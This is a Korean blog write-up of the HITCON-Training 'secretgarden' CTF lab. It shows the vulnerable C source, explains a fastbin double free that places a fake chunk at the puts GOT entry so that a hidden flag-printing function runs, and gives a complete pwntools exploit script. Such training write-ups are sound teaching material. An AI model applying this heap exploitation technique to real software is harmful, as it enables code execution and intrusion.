[HITCON-Training] LAB 12 : secretgarden (Double-Free)

Fastbin을 통해 Double-Free를 일으켜서 원하는 곳에 heap chunk를 할당시키는 공격을 사용한다.

 

먼저 문제 코드를 보자.

#include <stdio.h>
#include <signal.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#define TIMEOUT 60


struct flower{
	int vaild ;
	char *name ;
	char color[24] ;
};


struct flower* flowerlist[100] ;
unsigned int flowercount = 0 ;



void menu(){
	puts("");
	puts("☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ");
	puts("☆         Baby Secret Garden      ☆ ");
	puts("☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ");
	puts("");
	puts("  1 . Raise a flower " );
	puts("  2 . Visit the garden ");
	puts("  3 . Remove a flower from the garden");
	puts("  4 . Clean the garden");
	puts("  5 . Leave the garden");
	puts("");
	printf("Your choice : ");
}

int add(){
	struct flower *newflower = NULL ;
	char *buf = NULL ;
	unsigned size =0;
	unsigned index ;
	if(flowercount < 100){
		newflower = malloc(sizeof(struct flower));
		memset(newflower,0,sizeof(struct flower));
		printf("Length of the name :");
		if(scanf("%u",&size)== EOF) exit(-1);
		buf = (char*)malloc(size);
		if(!buf){
			puts("Alloca error !!");
			exit(-1);
		}
		printf("The name of flower :");
		read(0,buf,size);
		newflower->name = buf ;
		printf("The color of the flower :");
		scanf("%23s",newflower->color);
		newflower->vaild = 1 ;
		for(index = 0 ; index < 100 ; index++ ){
			if(!flowerlist[index]){
				flowerlist[index] = newflower ;
				break ;
			}
		}
		flowercount++ ;
		puts("Successful !");
	}else{
		puts("The garden is overflow");
	}
}

int del(){
	unsigned int index ;
	if(!flowercount){
		puts("No flower in the garden");
	}else{
		printf("Which flower do you want to remove from the garden:");
		scanf("%d",&index);
		if(index < 0 ||index >= 100 || !flowerlist[index]){
			puts("Invalid choice");
			return 0 ;
		}
		(flowerlist[index])->vaild = 0 ;
		free((flowerlist[index])->name);
		puts("Successful");
	}
}

void magic(){
    int fd ;
    char buffer[100];
    fd = open("/home/babysecretgarden/flag",O_RDONLY);
    read(fd,buffer,sizeof(buffer));
    close(fd);
    printf("%s",buffer);
    exit(0);
}

void clean(){
	unsigned index ;
	for(index = 0 ; index < 100 ; index++){
		if(flowerlist[index] && (flowerlist[index])->vaild == 0){
			free(flowerlist[index]);
			flowerlist[index] = NULL;
			flowercount--;
		}
	}
	puts("Done!");
}

int visit(){
	unsigned index ;
	if(!flowercount){
		puts("No flower in the garden !");
	}else{
		for(index = 0 ; index < 100 ; index++){
			if(flowerlist[index] && (flowerlist[index])->vaild){
				printf("Name of the flower[%u] :%sn",index,(flowerlist[index])->name);
				printf("Color of the flower[%u] :%sn",index,(flowerlist[index])->color);
			}
		}	
	}
}

void handler(int signum){
	puts("timeout");
	exit(1);
}
void init(){
	int fd;
	fd = open("/dev/urandom",0);
	close(fd);
	setvbuf(stdout,0,2,0);
	signal(SIGALRM,handler);
	alarm(TIMEOUT);
}


int main(){
	init();
	int choice ;
	char buf[10];
	while(1){
		menu();
		read(0,buf,8);
		choice = atoi(buf);
		switch(choice){
			case 1:
				add();
				break ;
			case 2:
				visit();
				break ;
			case 3:
				del();
				break ;
			case 4:
				clean();
				break ;
			case 5:
				puts("See you next time.");
				exit(0);
			default :
				puts("Invalid choice");
				break ;
		}

	}

}

 

몇가지 기능들이 있는데 정리하면 다음과 같다.

 

  • raise flower
    • flower 객체를 할당하고 이름, 색을 부여한다.
  • remove flower
    • flower 객체의 이름을 해제하고, vaild 값을 0으로 설정한다.
  • clean garden
    • vaild가 0인 flower 객체들을 모두 해제한다.
  • visit
    • garden에 존재하는 flower의 정보를 출력한다.
  • leave
    • 종료

 

raise와 remove 기능을 적절히 섞어서 double free를 발생시킬 것이다.

먼저 2개의 flower를 할당한다. flower name의 크기를 0x50으로 주어 0x60 크기의 힙 청크가 할당되도록 한다.

2개의 flower가 할당된 것을 확인할 수 있다. (중간에 0x1010 크기의 힙 청크가 왜 할당되는지는 모르겠지만…. 문제와 상관은 없기에 일단 넘어간다.)

 

0x30 크기의 청크는 flower 객체, 0x60 크기의 청크는 각 flower 객체의 name을 저장하는 객체이다.

 

다음으로, 할당된 flower를 index 0 → 1 → 0 순서대로 remove 해준다.

그러면 다음과 같이 각 flower의 name 객체가 해제되며, freelist에는 index 0의 name chunk가 두번 들어간 것을 확인할 수 있다. (0x16d70d0)

flower 0을 연속으로 해제하지 않고 사이에 flower 1을 껴줬기에 double free가 탐지되지 않고 우회할 수 있다.

 

이렇게 double free를 성공시켰다면, 이제 원하는 곳에 chunk를 할당해야 한다. puts 함수의 got 부분에 chunk를 할당하여 해당 부분을 magic 함수 주소로 덮어쓰면 될 것 같다.

그런데 문제가 있다. chunk가 할당되기 위해서는 FD를 조작하는 것도 필요하지만, 해당 chunk의 이전 주소에 할당하려는 chunk size가 올바르게 적혀있어야 한다. 만약 비교 시에 값이 다르다면 원하는 곳에 chunk를 할당할 수 없다.

따라서 puts 함수의 got 주소 부근을 살펴보았다.

got는 0x602020이고,

해당 주소 부근을 출력해보았다. 여기서 살짝 테크닉이 필요한데, chunk size는 0x10 크기로 관리된다. 그리고 fastbin을 통해 할당해야 되기 때문에 0xb0보다 크면 안된다.

따라서 우리는 0x602000에 적혀있는 0x601e28이라는 값의 0x60을 활용할 것이다. 즉, 0x602002에 적힌 0x60 값을 chunk의 size로 착각하도록 유도할 것이다.

(사실 위에서 name의 크기를 0x50으로 할당한 이유도 이 0x60 값을 활용하기 위함이다.)

해당 0x60을 size로 잡으면, 아래 0x60200a부터 값을 덮어쓸 수 있으며, 간격을 잘 맞춰서 puts의 got 주소인 0x602020에 magic 함수의 주소를 작성할 수 있다.

이를 위해서 double free된 index 0의 name에 0x601ffa를 적어서 heap chunk의 FD를 조작해주었다.

그 다음에 두번 더 할당해서 0x60200a에 chunk가 할당되면, 0x602020에 magic 함수의 주소를 넣을 수 있다.

그러면 puts 함수가 실행될 때 대신 magic 함수가 실행되어 FLAG를 얻을 수 있다.

 

익스 코드는 다음과 같다.

from pwn import *

#context.log_level = 'debug'

p=process('./secretgarden')
e=ELF('./secretgarden')

magic=e.symbols['magic']
log.info('magic address : '+hex(magic))
puts_got=e.got['puts']
log.info('puts got address : '+hex(puts_got))

def raise_flower(size, name, color):
    p.sendlineafter('Your choice : ', str(1))
    p.sendlineafter('Length of the name :', str(size))
    p.sendafter('The name of flower :', name)
    p.sendlineafter('The color of the flower :', color)

def remove_flower(index):
    p.sendlineafter('Your choice : ', str(3))
    p.sendlineafter('Which flower do you want to remove from the garden:', str(index))

def clean_garden():
    p.sendlineafter('Your choice : ', str(4))

def visit_garden():
    p.sendlineafter('Your choice : ', str(2))

def leave_garden():
    p.sendlineafter('Your choice : ', str(5))


raise_flower(0x50,'jin','red')
raise_flower(0x50,'jin0','red')
pause()
remove_flower(0)
remove_flower(1)
remove_flower(0)

raise_flower(0x50,p64(puts_got-0x26),'blue')
raise_flower(0x50,'jin3','green')
raise_flower(0x50,'jin4','green')
payload = b'A'*6 + p64(0)*2 + p64(magic)
raise_flower(0x50, payload, 'black')
#pause()

p.interactive()

 

댓글 달기

이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다

위로 스크롤